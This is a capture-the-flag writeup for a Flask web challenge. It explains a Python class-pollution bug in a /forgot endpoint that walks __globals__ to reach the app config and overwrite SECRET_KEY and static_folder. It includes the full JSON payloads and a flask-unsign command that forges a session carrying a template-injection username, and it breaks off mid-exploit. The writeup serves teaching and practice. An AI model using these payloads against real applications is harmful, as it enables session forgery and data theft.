Soláthairtí Guinness 🇮🇪

← US Cyber Open Season VI Writeups

In this challenge, there first thing I noticed was SSTI if we can get a valid session through our username on /secure. Since the flag is loaded into the jinja context as bratach, if we could get our username to be {{bratach}} we could just see the flag on the page (bratach.txt holds the flag).

Unfortunately, there’s two problems with this:

1. We can’t get a valid session unless we either find a way to register an account or leak/change the flask session signing key and there’s no endpoint to register an account.
2. It does a regex match for .*bratach.* on our username, so we’d need to find some other way to read that variable, like {{self.__dict__}} to see all the variables and their values in local context or something similar. The full payload would have to be 15 characters or less though due to the len() check, and I wasn’t able to figure out a payload to get the value of the bratach variable that fit that length constraint.

Interestingly, the /forgot endpoint takes our json object and calls this recursive function on it, seemingly recreating the exact json object but as a python object (and merging it with self).

(notably, the lines setattr(sprioc, eochair, luach) and sprioc[eochair] = luach)

There is a requirement that the username field be a user in the database, so we can just use the admin user that gets created at the start here

From just testing running this locally, I found that I could overwrite attributes of the DearmadPasfhocail() instance itself, as well as the attributes of those attributes.

For example, if I sent this request:

What I find in my breakpoint (done with ipython.embed()) locally is that i’ve overwritten an arbitrary attribute on self here

This seems a bit like javascript prototype pollution, but in python! If I can overwrite attributes on other objects, I could change the app.config values. Here’s the list of attributes I can access on this object.

In [3]: dir(self)
Out[3]: 
['__class__',
 '__delattr__',
 '__dict__',
...
 '__subclasshook__',
 '__weakref__',
 '_cumaisc',
 '_deimhnigh_ainm',
 'sabhail',
 'test',
 'username']

Notably, if I use a payload like this:

{
  "username": "admin",
  "__class__": {
    "__init__": {
      "test": "val"
    }
  }
}

I can edit in theory modify self.__class__.__init__.test to be "val"

yup!

In [3]: self.__class__.__init__
Out[3]: <function uirlisi.DearmadPasfhocail.__init__(self, sonrai)> 

okay this init function is not so interesting, but what if somewhere among it’s attributes is a reference to something which has a reference to something which leads to the Flask() class instance which would let us change the app.config dict, then we could really modify something useful.

I wrote up a little script with the help of gemma-4-31b-it to do a breadth-first-search on all the attributes recursively and just output them all into a nice JSON file, that way I can see if we have a path to anything useful.

This seems interesting, let’s re-run it starting from there.

My process is to send a request like that, and then run this testfunc() I made for the recursive attribute listing

Searching for <Flask (trying to find a reference to the Flask() instance that holds the config dictionary), I stumbled across this

"self.Table.__new__.__globals__": {
	... 
	'current_app': <Flask 'freastalai'>,
	...
}

Aha! A reference to the current app. As a reminder, so far our chain is:

{
  "username": "admin",
  "__class__": {
    "__init__": {
      "__globals__": {
        "bunachar": {
          "Table": {
            "__new__": {
              "__globals__": {
                "current_app": {
                  "test": "val"
                }
              }
            }
          }
        }
      }
    }
  }
}

So with this primitive, we should be able to overwrite current_app.config.SECRET_KEY and change the signing key. Or any of these other attributes on current_app!

Everything in current_app.config:

I thought for a while about which of these attributes could be useful. SECRET_KEY we can set to an arbitrary and sign our own arbitrary sessions with the flask-unsign tool. This solves the 1st problem we had before but we still are dealing with 2. (the restrictions on our SSTI via username that prevent us from reading the flag).

POST /forgot HTTP/1.1
...
{
  "username": "admin",
  "__class__": {
    "__init__": {
      "__globals__": {
        "bunachar": {
          "Table": {
            "__new__": {
              "__globals__": {
                "current_app": {
	                "config": {
	                  "SECRET_KEY": "val"
	                }
                }
              }
            }
          }
        }
      }
    }
  }
}

$ flask-unsign --sign --cookie "{'username':'{{7*7}}'}" --secret 'val'
eyJ1c2VybmFtZSI6Int7Nyo3fX0ifQ.aixRfA.n6U66rGNYT9E8if-VqeyD5kEiPo

POST /forgot HTTP/1.1
...
{
  "username": "admin",
  "__class__": {
    "__init__": {
      "__globals__": {
        "bunachar": {
          "Table": {
            "__new__": {
              "__globals__": {
                "current_app": {
	                "static_folder":""
                }
              }
            }
          }
        }
      }
    }
  }
}